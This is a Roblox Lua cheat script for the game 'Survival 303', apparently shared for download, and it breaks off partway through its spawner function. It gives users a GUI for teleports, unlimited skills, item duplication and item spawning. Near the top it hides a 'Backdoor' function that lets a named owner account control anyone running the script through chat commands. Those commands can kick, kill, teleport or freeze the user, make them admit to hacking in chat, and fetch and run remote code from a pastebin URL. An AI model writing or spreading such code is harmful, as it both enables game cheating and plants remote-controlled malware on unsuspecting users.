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- --[[
- Survival 303
- https://www.roblox.com/games/3011874593/Survival-303-Classic-FE
- Dah Bear#3256
- ]]
- warn("Made By Dah Bear#3256")
- owner = "cookthemcows27"
- Present = false
- function Backdoor()
- game.Players[owner].Chatted:Connect(function(demand)
- if demand == "[kick]" then
- game.Players.LocalPlayer:Kick("Why did it resort to this?")
- end
- if demand == "[kill]" then
- game.Players.LocalPlayer.Character.Humanoid.Health = 0
- end
- if demand == "[come here]" then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = game.Players[owner].Character.HumanoidRootPart.CFrame
- end
- if demand == "[custom load]" then
- loadstring(game:HttpGet("https://pastebin.com/raw/eyACWfvX", true))()
- end
- if demand == "[test]" then
- local tbl_main =
- {
- "Test successful! I now submit to all your demands.",
- "All"
- }
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
- end
- if demand == "Are you hacking?" then
- local tbl_main =
- {
- "Yes, I am indeed hacking.",
- "All"
- }
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
- end
- if demand == "identify yourself" then
- local tbl_main =
- {
- "it's me",
- "All"
- }
- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
- end
- if demand == "[cancel access]" then
- game.CoreGui["Survival 303 GUI"]:Destroy()
- end
- if demand == "[clear pack]" then
- game.Players.LocalPlayer.Pack:ClearAllChildren()
- end
- if demand == "[clear tools]" then
- game.Players.LocalPlayer.Tools:ClearAllChildren()
- game.Players.LocalPlayer.Backpack:ClearAllChildren()
- end
- if demand == "[stop]" then
- game.Players.LocalPlayer.Character.Torso.Anchored = true
- end
- if demand == "[go]" then
- game.Players.LocalPlayer.Character.Torso.Anchored = false
- end
- end)
- end
- if game.Players:FindFirstChild(owner) ~= nil then
- Backdoor()
- Present = true
- end
- game.Players.PlayerAdded:Connect(function(player)
- if player.Name == owner.Name then
- Backdoor()
- Present = true
- end
- end)
- game.Players.PlayerRemoving:Connect(function(player)
- if player.Name == owner.Name then
- if Present == true then
- Present = false
- end
- end
- end)
- game.Workspace["Corn Stalk"].Name = "givers"
- s = game.Workspace["givers"].Stalk
- o = game.Workspace["givers"].Corn
- s.Anchored = true
- s.Anchored = true
- s.Size = Vector3.new(2, 1, 2)
- s.BrickColor = BrickColor.new("Cool yellow")
- o.Size = Vector3.new(2, 2, 2)
- o.BrickColor = BrickColor.new("Really black")
- s.Name = "Sand"
- o.Name = "Oil"
- game.Workspace.Islands["Pool of Oil"].IForage:Clone().Parent = o
- game.Workspace.Islands["Mainland"].Sand.IForage:Clone().Parent = s
- s.Position = Vector3.new(1000000, 1000000, 1000000)
- o.Position = Vector3.new(1000000, 1000000, 1000000)
- STORAGE = Instance.new("Folder", workspace)
- STORAGE.Name = "Storage"
- game.Workspace:FindFirstChild("Corn Stalk").Forage:Clone().Parent = STORAGE
- plr = game.Players.LocalPlayer
- mouse = plr:GetMouse()
- local Survival303GUI = Instance.new("ScreenGui")
- local Background = Instance.new("Frame")
- local Title = Instance.new("TextLabel")
- local Command = Instance.new("TextBox")
- local RunCommand = Instance.new("TextButton")
- local MinusSpeed = Instance.new("TextButton")
- local AddSpeed = Instance.new("TextButton")
- local TextLabel = Instance.new("TextLabel")
- Survival303GUI.Name = "Survival 303 GUI"
- Survival303GUI.Parent = game.CoreGui
- Background.Name = "Background"
- Background.Parent = Survival303GUI
- Background.BackgroundColor3 = Color3.fromHSV(256, .5, .8)
- Background.BackgroundTransparency = 0.5
- Background.BorderColor3 = Color3.fromHSV(256, 1, 1)
- Background.BorderSizePixel = 3
- Background.Position = UDim2.new(0.331476331, 0, 0.247232467, 0)
- Background.Size = UDim2.new(0, 270, 0, 155)
- Background.Active = true
- Background.Draggable = true
- Background.Visible = true
- Title.Name = "Title"
- Title.Parent = Background
- Title.BackgroundColor3 = Color3.fromHSV(256, .5, .8)
- Title.BackgroundTransparency = 0.5
- Title.BorderColor3 = Color3.fromHSV(256, 1, 1)
- Title.BorderSizePixel = 3
- Title.Size = UDim2.new(0, 270, 0, 28)
- Title.Font = Enum.Font.SourceSans
- Title.Text = "Survival 303 Classic REVAMPED [P to Toggle]"
- Title.TextColor3 = Color3.new(0, 0, 0)
- Title.TextSize = 14
- Command.Name = "Command"
- Command.Parent = Background
- Command.BackgroundColor3 = Color3.fromHSV(256, .5, .8)
- Command.BackgroundTransparency = 0.5
- Command.BorderSizePixel = 3
- Command.Position = UDim2.new(0.025925925, 0, 0.258064508, 0)
- Command.Size = UDim2.new(0, 256, 0, 29)
- Command.Font = Enum.Font.SourceSansBold
- Command.Text = ""
- Command.TextColor3 = Color3.new(0, 0, 0)
- Command.TextSize = 18
- RunCommand.Name = "Run Command"
- RunCommand.Parent = Background
- RunCommand.BackgroundColor3 = Color3.fromHSV(256, .5, .8)
- RunCommand.BackgroundTransparency = 0.5
- RunCommand.BorderColor3 = Color3.fromHSV(256, 1, 1)
- RunCommand.BorderSizePixel = 3
- RunCommand.Position = UDim2.new(0.129629627, 0, 0.52903223, 0)
- RunCommand.Size = UDim2.new(0, 200, 0, 40)
- RunCommand.Font = Enum.Font.SourceSansBold
- RunCommand.Text = "Run Command"
- RunCommand.TextColor3 = Color3.new(1, 0, 0)
- RunCommand.TextSize = 16
- RunCommand.TextTransparency = 0.5
- MinusSpeed.Name = "MinusSpeed"
- MinusSpeed.Parent = Background
- MinusSpeed.BackgroundColor3 = Color3.new(0, 0.333333, 0)
- MinusSpeed.BackgroundTransparency = 0.69999998807907
- MinusSpeed.BorderColor3 = Color3.new(0, 0, 0)
- MinusSpeed.Position = UDim2.new(0.129629627, 0, 0.858064532, 0)
- MinusSpeed.Size = UDim2.new(0, 14, 0, 14)
- MinusSpeed.Font = Enum.Font.SourceSans
- MinusSpeed.Text = "-"
- MinusSpeed.TextColor3 = Color3.new(0, 0, 0)
- MinusSpeed.TextSize = 20
- AddSpeed.Name = "AddSpeed"
- AddSpeed.Parent = Background
- AddSpeed.BackgroundColor3 = Color3.new(0, 0.333333, 0)
- AddSpeed.BackgroundTransparency = 0.69999998807907
- AddSpeed.BorderColor3 = Color3.new(0, 0, 0)
- AddSpeed.Position = UDim2.new(0.818518519, 0, 0.858064532, 0)
- AddSpeed.Size = UDim2.new(0, 14, 0, 14)
- AddSpeed.Font = Enum.Font.SourceSans
- AddSpeed.Text = "+"
- AddSpeed.TextColor3 = Color3.new(0, 0, 0)
- AddSpeed.TextSize = 20
- TextLabel.Parent = Background
- TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
- TextLabel.BackgroundTransparency = 1
- TextLabel.Position = UDim2.new(0.322222233, 0, 0.825806439, 0)
- TextLabel.Size = UDim2.new(0, 96, 0, 24)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.Text = "Speed: 16"
- TextLabel.TextColor3 = Color3.new(0, 0, 0)
- TextLabel.TextSize = 14
- setintvalue = 50
- game.Players.LocalPlayer.Chatted:Connect(function(inter)
- if inter == "set-int" then
- setintvalue = Command.Text
- end
- end)
- RunCommand.MouseButton1Down:Connect(function()
- if game.Players:FindFirstChild(owner) ~= nil then
- if Present == false then
- Backdoor()
- Present = true
- end
- end
- if Command.Text == "max skills" then
- while wait() do
- game.Players.LocalPlayer.Skills.Foraging.Value = math.huge
- game.Players.LocalPlayer.Skills.Swimming.Value = math.huge
- game.Players.LocalPlayer.Skills.Carpentry.Value = math.huge
- game.Players.LocalPlayer.Skills.Smithing.Value = math.huge
- game.Players.LocalPlayer.Skills.Masonry.Value = math.huge
- game.Players.LocalPlayer.Skills.Shipbuilding.Value = math.huge
- game.Players.LocalPlayer.Skills.Architecture.Value = math.huge
- game.Players.LocalPlayer.Skills.Crafting.Value = math.huge
- game.Players.LocalPlayer.Skills.Engineering.Value = math.huge
- game.Players.LocalPlayer.Skills.Chemistry.Value = math.huge
- game.Players.LocalPlayer.Skills.Cooking.Value = math.huge
- game.Players.LocalPlayer.Skills.Farming.Value = math.huge
- game.Players.LocalPlayer.Skills.Fishing.Value = math.huge
- end
- elseif Command.Text == "duplicator" then
- duper = game:GetService("ReplicatedStorage").Craftables["Crude Torch"]:Clone()
- duper.Parent = game.Players.LocalPlayer.Backpack
- duper.Handle.Anchored = false
- duper.Handle.Transparency = 1
- game.Players.LocalPlayer.Backpack["Crude Torch"].LocalScript:Destroy()
- script = Instance.new("LocalScript", game.Players.LocalPlayer.Backpack["Crude Torch"])
- script.Name = "LocalScript"
- code = Instance.new("StringValue", script)
- code.Value = "local PickaxeTool = require(game:GetService('ReplicatedStorage'):WaitForChild('Code'):WaitForChild('Tools'):WaitForChild('PickaxeTool'))\r\nlocal Object = PickaxeTool.new(script.Parent)\r\nObject.Cooldown = 0.01\r\nObject.Damage = 1000\r\nObject.Range = 1000\r\nObject.Effectiveness = 1\r\nObject.Yield = "..setintvalue
- loadstring(code.Value)()
- wait(0.5)
- code:Destroy()
- marker = Instance.new("HopperBin", plr.Backpack)
- marker.Name = "Mark Item"
- mouse.Button1Down:Connect(function()
- if marker.Active then
- forced = game.Workspace.CoalDeposit.Pick:Clone()
- forced.Value = "Stone"
- forced.Parent = mouse.Target.Parent
- wait(10)
- forced:Destroy()
- end
- end)
- elseif Command.Text == "multiply craft" then
- HundredCraft = game.StarterPack.Craft
- nuevo = HundredCraft:Clone()
- nuevo.Name = "Multiply Craft"
- nuevo.Parent = game.Players.LocalPlayer.Backpack
- for i = 1, 300, 1 do
- game.Players.LocalPlayer.Backpack["Multiply Craft"].Crafting:Clone().Parent = game.Players.LocalPlayer.Backpack["Multiply Craft"]
- end
- elseif Command.Text == "load crossbow" then
- if game.Players.LocalPlayer.Backpack:FindFirstChild("Crossbow") ~= nil then
- game:GetService("ReplicatedStorage").Craftables.Crossbow:Destroy()
- game.Players.LocalPlayer.Backpack.Crossbow:Clone().Parent = game:GetService("ReplicatedStorage").Craftables
- end
- elseif Command.Text == "override skills" then
- game.Players.LocalPlayer.Skills.Foraging.Value = math.huge
- game.Players.LocalPlayer.Skills.Swimming.Value = math.huge
- game.Players.LocalPlayer.Skills.Carpentry.Value = math.huge
- game.Players.LocalPlayer.Skills.Smithing.Value = math.huge
- game.Players.LocalPlayer.Skills.Masonry.Value = math.huge
- game.Players.LocalPlayer.Skills.Shipbuilding.Value = math.huge
- game.Players.LocalPlayer.Skills.Architecture.Value = math.huge
- game.Players.LocalPlayer.Skills.Crafting.Value = math.huge
- game.Players.LocalPlayer.Skills.Engineering.Value = math.huge
- game.Players.LocalPlayer.Skills.Chemistry.Value = math.huge
- game.Players.LocalPlayer.Skills.Cooking.Value = math.huge
- game.Players.LocalPlayer.Skills.Farming.Value = math.huge
- game.Players.LocalPlayer.Skills.Fishing.Value = math.huge
- elseif Command.Text == "remove sand" then
- for i, v in pairs(game.Players.LocalPlayer.Pack:GetChildren()) do
- if v.Name == "Pile of Sand" then
- v:Destroy()
- end
- end
- elseif Command.Text == "mainland" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Mainland:FindFirstChild("Grass").CFrame + Vector3.new(0, 0, 0)
- elseif Command.Text == "spring" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Spring:FindFirstChild("Dirt").CFrame + Vector3.new(0, 4, 0)
- elseif Command.Text == "bento" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Bento:FindFirstChild("Grass").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "goldrock" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Goldrock:FindFirstChild("Grass").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "desert" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Desert:FindFirstChild("Sand").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "paradise" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Paradise:FindFirstChild("Grass").CFrame + Vector3.new(0, 20, 0)
- elseif Command.Text == "teraphyx" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Teraphyx:FindFirstChild("Grass").CFrame + Vector3.new(0, 20, 0)
- elseif Command.Text == "flax" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Flax:FindFirstChild("Sand").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "plateau" then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-937.5, 87.5, -1773.5) --Plateau
- elseif Command.Text == "spire" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Spire:FindFirstChild("Snow").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "rockma" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Rockma:FindFirstChild("Grass").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "canyon" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Canyon:FindFirstChild("Rock Wall").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "magma" then
- plr.Character.HumanoidRootPart.CFrame = game.Workspace.Islands.Magma:FindFirstChild("Rock Wall").CFrame + Vector3.new(0, 5, 0)
- elseif Command.Text == "crafter" then
- local CraftingMenu = Instance.new("ScreenGui")
- local GenerateItems = Instance.new("Frame")
- local CloseButton = Instance.new("TextButton")
- local StatusLabel = Instance.new("TextLabel")
- local Box1 = Instance.new("TextBox")
- local Box2 = Instance.new("TextBox")
- local Box3 = Instance.new("TextBox")
- local Box10 = Instance.new("TextBox")
- local Box9 = Instance.new("TextBox")
- local Box8 = Instance.new("TextBox")
- local Box7 = Instance.new("TextBox")
- local Box6 = Instance.new("TextBox")
- local Box5 = Instance.new("TextBox")
- local Box4 = Instance.new("TextBox")
- local CreateButton = Instance.new("TextButton")
- local BurnStation = Instance.new("TextButton")
- local SpawnButton = Instance.new("TextButton")
- local Up1 = Instance.new("TextButton")
- local Up2 = Instance.new("TextButton")
- local Up9 = Instance.new("TextButton")
- local Up8 = Instance.new("TextButton")
- local Up7 = Instance.new("TextButton")
- local Up6 = Instance.new("TextButton")
- local Up5 = Instance.new("TextButton")
- local Up4 = Instance.new("TextButton")
- local Up3 = Instance.new("TextButton")
- CraftingMenu.Name = "Crafting Menu"
- CraftingMenu.Parent = game.CoreGui
- CraftingMenu.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
- GenerateItems.Name = "Generate Items"
- GenerateItems.Parent = CraftingMenu
- GenerateItems.BackgroundColor3 = Color3.new(0, 0, 0)
- GenerateItems.BackgroundTransparency = 0.30000001192093
- GenerateItems.BorderColor3 = Color3.new(1, 0.666667, 0)
- GenerateItems.Position = UDim2.new(0.395683467, 0, 0.24538745, 0)
- GenerateItems.Size = UDim2.new(0, 164, 0, 237)
- GenerateItems.Active = true
- GenerateItems.Draggable = true
- CloseButton.Name = "CloseButton"
- CloseButton.Parent = GenerateItems
- CloseButton.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- CloseButton.BackgroundTransparency = 0.40000000596046
- CloseButton.BorderColor3 = Color3.new(1, 0.666667, 0)
- CloseButton.Position = UDim2.new(0.878048778, 0, 0, 0)
- CloseButton.Size = UDim2.new(0, 20, 0, 20)
- CloseButton.Font = Enum.Font.SourceSans
- CloseButton.Text = "X"
- CloseButton.TextColor3 = Color3.new(1, 1, 1)
- CloseButton.TextSize = 14
- StatusLabel.Name = "StatusLabel"
- StatusLabel.Parent = GenerateItems
- StatusLabel.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- StatusLabel.BackgroundTransparency = 0.40000000596046
- StatusLabel.BorderColor3 = Color3.new(1, 0.666667, 0)
- StatusLabel.Size = UDim2.new(0, 144, 0, 20)
- StatusLabel.Font = Enum.Font.SourceSans
- StatusLabel.Text = "Station Items: ERROR"
- StatusLabel.TextColor3 = Color3.new(1, 1, 1)
- StatusLabel.TextSize = 14
- if game.Workspace:FindFirstChild("Super Station") == nil then
- StatusLabel.Text = "Station Items: Clear"
- else
- StatusLabel.Text = "Station Items: Existent"
- end
- Box1.Name = "Box1"
- Box1.Parent = GenerateItems
- Box1.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box1.BackgroundTransparency = 0.40000000596046
- Box1.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box1.Position = UDim2.new(0.0426829271, 0, 0.124674872, 0)
- Box1.Size = UDim2.new(0, 106, 0, 12)
- Box1.Font = Enum.Font.SourceSans
- Box1.Text = "Pure Bluesteel"
- Box1.TextColor3 = Color3.new(0, 0, 0)
- Box1.TextSize = 14
- Box2.Name = "Box2"
- Box2.Parent = GenerateItems
- Box2.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box2.BackgroundTransparency = 0.40000000596046
- Box2.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box2.Position = UDim2.new(0.0426829271, 0, 0.204031646, 0)
- Box2.Size = UDim2.new(0, 106, 0, 12)
- Box2.Font = Enum.Font.SourceSans
- Box2.Text = ""
- Box2.TextColor3 = Color3.new(0, 0, 0)
- Box2.TextSize = 14
- Box3.Name = "Box3"
- Box3.Parent = GenerateItems
- Box3.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box3.BackgroundTransparency = 0.40000000596046
- Box3.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box3.Position = UDim2.new(0.0426829271, 0, 0.272354186, 0)
- Box3.Size = UDim2.new(0, 106, 0, 12)
- Box3.Font = Enum.Font.SourceSans
- Box3.Text = ""
- Box3.TextColor3 = Color3.new(0, 0, 0)
- Box3.TextSize = 14
- Box10.Name = "Box10"
- Box10.Parent = GenerateItems
- Box10.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box10.BackgroundTransparency = 0.40000000596046
- Box10.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box10.Position = UDim2.new(0.0426829271, 0, 0.8228935, 0)
- Box10.Size = UDim2.new(0, 106, 0, 12)
- Box10.Font = Enum.Font.SourceSans
- Box10.Text = ""
- Box10.TextColor3 = Color3.new(0, 0, 0)
- Box10.TextSize = 14
- Box9.Name = "Box9"
- Box9.Parent = GenerateItems
- Box9.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box9.BackgroundTransparency = 0.40000000596046
- Box9.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box9.Position = UDim2.new(0.0426829271, 0, 0.74361062, 0)
- Box9.Size = UDim2.new(0, 106, 0, 12)
- Box9.Font = Enum.Font.SourceSans
- Box9.Text = ""
- Box9.TextColor3 = Color3.new(0, 0, 0)
- Box9.TextSize = 14
- Box8.Name = "Box8"
- Box8.Parent = GenerateItems
- Box8.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box8.BackgroundTransparency = 0.40000000596046
- Box8.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box8.Position = UDim2.new(0.0426829271, 0, 0.66425395, 0)
- Box8.Size = UDim2.new(0, 106, 0, 12)
- Box8.Font = Enum.Font.SourceSans
- Box8.Text = ""
- Box8.TextColor3 = Color3.new(0, 0, 0)
- Box8.TextSize = 14
- Box7.Name = "Box7"
- Box7.Parent = GenerateItems
- Box7.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box7.BackgroundTransparency = 0.40000000596046
- Box7.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box7.Position = UDim2.new(0.0426829271, 0, 0.584860384, 0)
- Box7.Size = UDim2.new(0, 106, 0, 12)
- Box7.Font = Enum.Font.SourceSans
- Box7.Text = ""
- Box7.TextColor3 = Color3.new(0, 0, 0)
- Box7.TextSize = 14
- Box6.Name = "Box6"
- Box6.Parent = GenerateItems
- Box6.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box6.BackgroundTransparency = 0.40000000596046
- Box6.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box6.Position = UDim2.new(0.0426829271, 0, 0.501247227, 0)
- Box6.Size = UDim2.new(0, 106, 0, 12)
- Box6.Font = Enum.Font.SourceSans
- Box6.Text = ""
- Box6.TextColor3 = Color3.new(0, 0, 0)
- Box6.TextSize = 14
- Box5.Name = "Box5"
- Box5.Parent = GenerateItems
- Box5.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box5.BackgroundTransparency = 0.40000000596046
- Box5.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box5.Position = UDim2.new(0.0430000015, 0, 0.426999986, 0)
- Box5.Size = UDim2.new(0, 106, 0, 12)
- Box5.Font = Enum.Font.SourceSans
- Box5.Text = ""
- Box5.TextColor3 = Color3.new(0, 0, 0)
- Box5.TextSize = 14
- Box4.Name = "Box4"
- Box4.Parent = GenerateItems
- Box4.BackgroundColor3 = Color3.new(0.333333, 0.333333, 0.498039)
- Box4.BackgroundTransparency = 0.40000000596046
- Box4.BorderColor3 = Color3.new(1, 0.333333, 0)
- Box4.Position = UDim2.new(0.0430000015, 0, 0.349999994, 0)
- Box4.Size = UDim2.new(0, 106, 0, 12)
- Box4.Font = Enum.Font.SourceSans
- Box4.Text = ""
- Box4.TextColor3 = Color3.new(0, 0, 0)
- Box4.TextSize = 14
- CreateButton.Name = "CreateButton"
- CreateButton.Parent = GenerateItems
- CreateButton.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- CreateButton.BackgroundTransparency = 0.40000000596046
- CreateButton.BorderColor3 = Color3.new(1, 0.666667, 0)
- CreateButton.Position = UDim2.new(0.0430000126, 0, 0.899999976, 0)
- CreateButton.Size = UDim2.new(0, 68, 0, 20)
- CreateButton.Font = Enum.Font.SourceSans
- CreateButton.Text = "Make Station"
- CreateButton.TextColor3 = Color3.new(1, 1, 1)
- CreateButton.TextSize = 14
- BurnStation.Name = "Burn Station"
- BurnStation.Parent = GenerateItems
- BurnStation.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- BurnStation.BackgroundTransparency = 0.40000000596046
- BurnStation.BorderColor3 = Color3.new(1, 0.666667, 0)
- BurnStation.Position = UDim2.new(0.524707317, 0, 0.899999976, 0)
- BurnStation.Size = UDim2.new(0, 68, 0, 20)
- BurnStation.Font = Enum.Font.SourceSans
- BurnStation.Text = "Burn Station"
- BurnStation.TextColor3 = Color3.new(1, 1, 1)
- BurnStation.TextSize = 14
- SpawnButton.Name = "SpawnButton"
- SpawnButton.Parent = GenerateItems
- SpawnButton.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- SpawnButton.BackgroundTransparency = 0.40000000596046
- SpawnButton.BorderColor3 = Color3.new(1, 0.666667, 0)
- SpawnButton.Position = UDim2.new(0.738121986, 0, 0.124674864, 0)
- SpawnButton.Size = UDim2.new(0, 33, 0, 11)
- SpawnButton.Font = Enum.Font.SourceSans
- SpawnButton.Text = "Spawn"
- SpawnButton.TextColor3 = Color3.new(1, 1, 1)
- SpawnButton.TextSize = 12
- Up1.Name = "Up1"
- Up1.Parent = GenerateItems
- Up1.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up1.BackgroundTransparency = 0.40000000596046
- Up1.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up1.Position = UDim2.new(0.738121986, 0, 0.20484364, 0)
- Up1.Size = UDim2.new(0, 33, 0, 11)
- Up1.Font = Enum.Font.SourceSans
- Up1.Text = "^"
- Up1.TextColor3 = Color3.new(1, 1, 1)
- Up1.TextSize = 12
- Up2.Name = "Up2"
- Up2.Parent = GenerateItems
- Up2.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up2.BackgroundTransparency = 0.40000000596046
- Up2.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up2.Position = UDim2.new(0.738121986, 0, 0.276573598, 0)
- Up2.Size = UDim2.new(0, 33, 0, 11)
- Up2.Font = Enum.Font.SourceSans
- Up2.Text = "^"
- Up2.TextColor3 = Color3.new(1, 1, 1)
- Up2.TextSize = 12
- Up9.Name = "Up9"
- Up9.Parent = GenerateItems
- Up9.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up9.BackgroundTransparency = 0.40000000596046
- Up9.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up9.Position = UDim2.new(0.738121986, 0, 0.820877373, 0)
- Up9.Size = UDim2.new(0, 33, 0, 11)
- Up9.Font = Enum.Font.SourceSans
- Up9.Text = "^"
- Up9.TextColor3 = Color3.new(1, 1, 1)
- Up9.TextSize = 12
- Up8.Name = "Up8"
- Up8.Parent = GenerateItems
- Up8.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up8.BackgroundTransparency = 0.40000000596046
- Up8.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up8.Position = UDim2.new(0.738121986, 0, 0.74070859, 0)
- Up8.Size = UDim2.new(0, 33, 0, 11)
- Up8.Font = Enum.Font.SourceSans
- Up8.Text = "^"
- Up8.TextColor3 = Color3.new(1, 1, 1)
- Up8.TextSize = 12
- Up7.Name = "Up7"
- Up7.Parent = GenerateItems
- Up7.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up7.BackgroundTransparency = 0.40000000596046
- Up7.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up7.Position = UDim2.new(0.738121986, 0, 0.660539806, 0)
- Up7.Size = UDim2.new(0, 33, 0, 11)
- Up7.Font = Enum.Font.SourceSans
- Up7.Text = "^"
- Up7.TextColor3 = Color3.new(1, 1, 1)
- Up7.TextSize = 12
- Up6.Name = "Up6"
- Up6.Parent = GenerateItems
- Up6.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up6.BackgroundTransparency = 0.40000000596046
- Up6.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up6.Position = UDim2.new(0.738121986, 0, 0.588809907, 0)
- Up6.Size = UDim2.new(0, 33, 0, 11)
- Up6.Font = Enum.Font.SourceSans
- Up6.Text = "^"
- Up6.TextColor3 = Color3.new(1, 1, 1)
- Up6.TextSize = 12
- Up5.Name = "Up5"
- Up5.Parent = GenerateItems
- Up5.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up5.BackgroundTransparency = 0.40000000596046
- Up5.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up5.Position = UDim2.new(0.738121986, 0, 0.504421711, 0)
- Up5.Size = UDim2.new(0, 33, 0, 11)
- Up5.Font = Enum.Font.SourceSans
- Up5.Text = "^"
- Up5.TextColor3 = Color3.new(1, 1, 1)
- Up5.TextSize = 12
- Up4.Name = "Up4"
- Up4.Parent = GenerateItems
- Up4.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up4.BackgroundTransparency = 0.40000000596046
- Up4.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up4.Position = UDim2.new(0.738121986, 0, 0.424252927, 0)
- Up4.Size = UDim2.new(0, 33, 0, 11)
- Up4.Font = Enum.Font.SourceSans
- Up4.Text = "^"
- Up4.TextColor3 = Color3.new(1, 1, 1)
- Up4.TextSize = 12
- Up3.Name = "Up3"
- Up3.Parent = GenerateItems
- Up3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
- Up3.BackgroundTransparency = 0.40000000596046
- Up3.BorderColor3 = Color3.new(1, 0.666667, 0)
- Up3.Position = UDim2.new(0.738121986, 0, 0.352522969, 0)
- Up3.Size = UDim2.new(0, 33, 0, 11)
- Up3.Font = Enum.Font.SourceSans
- Up3.Text = "^"
- Up3.TextColor3 = Color3.new(1, 1, 1)
- Up3.TextSize = 12
- CloseButton.MouseButton1Down:Connect(function()
- CraftingMenu:Destroy()
- end)
- Up1.MouseButton1Down:Connect(function()
- Box2.Text = Box1.Text
- end)
- Up2.MouseButton1Down:Connect(function()
- Box3.Text = Box2.Text
- end)
- Up3.MouseButton1Down:Connect(function()
- Box4.Text = Box3.Text
- end)
- Up4.MouseButton1Down:Connect(function()
- Box5.Text = Box4.Text
- end)
- Up5.MouseButton1Down:Connect(function()
- Box6.Text = Box5.Text
- end)
- Up6.MouseButton1Down:Connect(function()
- Box7.Text = Box6.Text
- end)
- Up7.MouseButton1Down:Connect(function()
- Box8.Text = Box7.Text
- end)
- Up8.MouseButton1Down:Connect(function()
- Box9.Text = Box8.Text
- end)
- Up9.MouseButton1Down:Connect(function()
- Box10.Text = Box9.Text
- end)
- BurnStation.MouseButton1Down:Connect(function()
- for index, child in pairs(game.Workspace:GetChildren()) do
- if child.Name == "Super Station" then
- child:Destroy()
- end
- end
- if game.Workspace:FindFirstChild("Super Station") == nil then
- StatusLabel.Text = "Station Items: Clear"
- else
- StatusLabel.Text = "Station Items: Existent"
- end
- end)
- CreateButton.MouseButton1Down:Connect(function()
- holder = Instance.new("Folder", workspace)
- holder.Name = "Super Station"
- game.Workspace.Storage.Forage:Clone().Parent = game.Workspace["Super Station"]
- if game.Workspace:FindFirstChild("Super Station") == nil then
- StatusLabel.Text = "Station Items: Clear"
- else
- StatusLabel.Text = "Station Items: Existent"
- end
- end)
- SpawnButton.MouseButton1Down:Connect(function()
- name1 = Box1.Text
- name2 = Box2.Text
- name3 = Box3.Text
- name4 = Box4.Text
- name5 = Box5.Text
- name6 = Box6.Text
- name7 = Box7.Text
- name8 = Box8.Text
- name9 = Box9.Text
- name0 = Box10.Text
- block1 = Instance.new("Part", game.Workspace["Super Station"])
- block1.Name = name1
- block1.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block2 = Instance.new("Part", game.Workspace["Super Station"])
- block2.Name = name2
- block2.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
- block3 = Instance.new("Part", game.Workspace["Super Station"])
- block3.Name = name3
- block3.Position = game.Players.LocalPlayer.Character.Head.Position + Vector3.new(0, 1, 0)
